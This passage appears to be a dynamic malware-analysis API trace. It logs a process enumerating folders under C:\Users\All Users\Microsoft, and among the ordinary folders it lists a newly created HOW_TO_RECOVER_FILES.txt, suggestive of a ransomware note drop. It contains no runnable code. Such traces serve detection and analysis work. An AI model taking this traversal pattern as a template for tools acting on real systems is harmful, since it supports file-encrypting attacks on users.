ftLastWriteTime.dwLowDateTime=0x499ff2f7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x499ff2f7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppV", cAlternateFileName="")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x267798aa, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x267798aa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499ff2f7, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x499ff2f7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0130.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c30455b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c30455b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spectrum", cAlternateFileName="")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x291fc541, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x291fc541, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage Health", cAlternateFileName="STORAG~1")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x337edde1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x337edde1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security Health", cAlternateFileName="WINDOW~4")) returned 1 [0130.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1 [0130.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0130.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxLive", cAlternateFileName="")) returned 1 [0130.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24239ed, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxLive", cAlternateFileName="")) returned 0 [0130.841] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0130.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0130.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0130.841] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft", lpFilePart=0x0) returned 0x1c [0130.841] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x499ff2f7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x499ff2f7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x499ff2f7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x499ff2f7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppV", cAlternateFileName="")) returned 1 [0130.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x267798aa, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x267798aa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0130.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0130.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1 [0130.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 